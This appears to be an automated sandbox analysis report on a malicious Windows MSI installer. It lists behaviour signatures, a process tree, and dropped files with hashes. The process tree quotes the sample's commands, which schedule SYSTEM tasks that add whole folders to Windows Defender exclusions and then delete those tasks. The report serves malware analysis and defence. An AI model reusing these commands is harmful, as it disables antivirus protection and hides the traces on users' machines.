Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/07/2026, 04:38

General

  • Target
    install_mal007.msi
  • Size 5.9MB
  • Sample260731-e9f94aaq2s
  • SHA256 d46061596da74f4e18ef47ab9fc2eb365cd4778732f38a2464510fbc0f3c3443
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal007.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4592
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3128
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 4D4F98092DAC94EF736487BCE4BB445E E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:2448
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:900
  • C:\Users\Public\0HBYQJ\8E0Gjb.exe
    C:\Users\Public\0HBYQJ\8E0Gjb.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\0HBYQJ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\0HBYQJ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4384
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4924
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3236
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3404
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2852
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1348
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4212
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:332
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4564
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1924
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2420
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4364
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2132
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3392
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4744
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4848
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4272
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1428
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2656
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1248
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3332
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4012
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:956
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:700
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:396
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:556
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2136
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:980

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              e589660.rbs

                              • Path C:\Config.Msi\e589660.rbs
                              • Size 7KB
                              • SHA256 f0ee86f43bb55a4816389ced58e260659314edce32b60c491fd4f406133caa90
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              8E0Gjb.exe

                              • Path C:\Users\Public\0HBYQJ\8E0Gjb.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\0HBYQJ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 004a0d5a00b5f5890742815f402d9fbdfbda97fbc4c63c1b5a9ad64b9a18df1b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\0HBYQJ\adoresd.dat
                              • Size 4.8MB
                              • SHA256 32070fc333ba7c31e6b948fb41d8a7ec1cd769f2c93394946bfcbfe758db3ea7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\0HBYQJ\msadox.tb
                              • Size 8KB
                              • SHA256 fc095dc8ee651c99376d16acae3365bbee6e3d901258831fbe67d55fb91f8b30
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI9816.tmp

                              • Path C:\Windows\Installer\MSI9816.tmp
                              • Size 5.8MB
                              • SHA256 d9a82faff6c4babb4525dd27b78cf57c8a597596145527fadc096461f2d485f3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e58965f.msi

                              • Path C:\Windows\Installer\e58965f.msi
                              • Size 5.9MB
                              • SHA256 d46061596da74f4e18ef47ab9fc2eb365cd4778732f38a2464510fbc0f3c3443
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 24.1MB
                              • SHA256 57cda96f7956b74d437bfd8839b05d710cd9906f3feaac839c7d39306f5241cd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {92b357f6-87b9-4da8-b79a-e298fb31010f}_OnDiskSnapshotProp

                              • Path \??\Volume{73216430-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{92b357f6-87b9-4da8-b79a-e298fb31010f}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 eac4c706d48cb5080a30c238f4956c92575d5b650fc90c411ccf540953600be4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2448-40-0x00007FFDD4DD0000-0x00007FFDD4DE0000-memory.dmp

                              memory/2448-16-0x00007FFDD4DD0000-0x00007FFDD4DE0000-memory.dmp

                              memory/2448-12-0x00007FFDE47F0000-0x00007FFDE47F2000-memory.dmp

                              memory/2448-13-0x00007FFDC6710000-0x00007FFDC6D48000-memory.dmp

                              memory/2856-65-0x00007FFDE4800000-0x00007FFDE4802000-memory.dmp

                              memory/2856-77-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-63-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-66-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-57-0x00007FFDE47F0000-0x00007FFDE47F2000-memory.dmp

                              memory/2856-72-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-73-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-71-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-70-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-58-0x00007FFDC4CA0000-0x00007FFDC51BE000-memory.dmp

                              memory/2856-86-0x0000017591200000-0x000001759128A000-memory.dmp

                              memory/2856-85-0x0000017591200000-0x000001759128A000-memory.dmp

                              memory/2856-84-0x0000017591200000-0x000001759128A000-memory.dmp

                              memory/2856-83-0x0000017591200000-0x000001759128A000-memory.dmp

                              memory/2856-89-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-90-0x0000017590940000-0x00000175911FE000-memory.dmp

                              memory/2856-82-0x000001758FE80000-0x000001758FECE000-memory.dmp

                              memory/2856-92-0x0000017590940000-0x00000175911FE000-memory.dmp